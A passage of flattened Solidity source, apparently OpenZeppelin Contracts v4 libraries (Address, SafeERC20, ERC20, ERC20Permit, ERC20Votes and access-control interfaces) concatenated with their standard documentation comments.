https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-ERC20Permit.sol"; import "../../../utils/math/Math.sol"; import "../../../utils/math/SafeCast.sol"; import "../../../utils/cryptography/ECDSA.sol"; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function 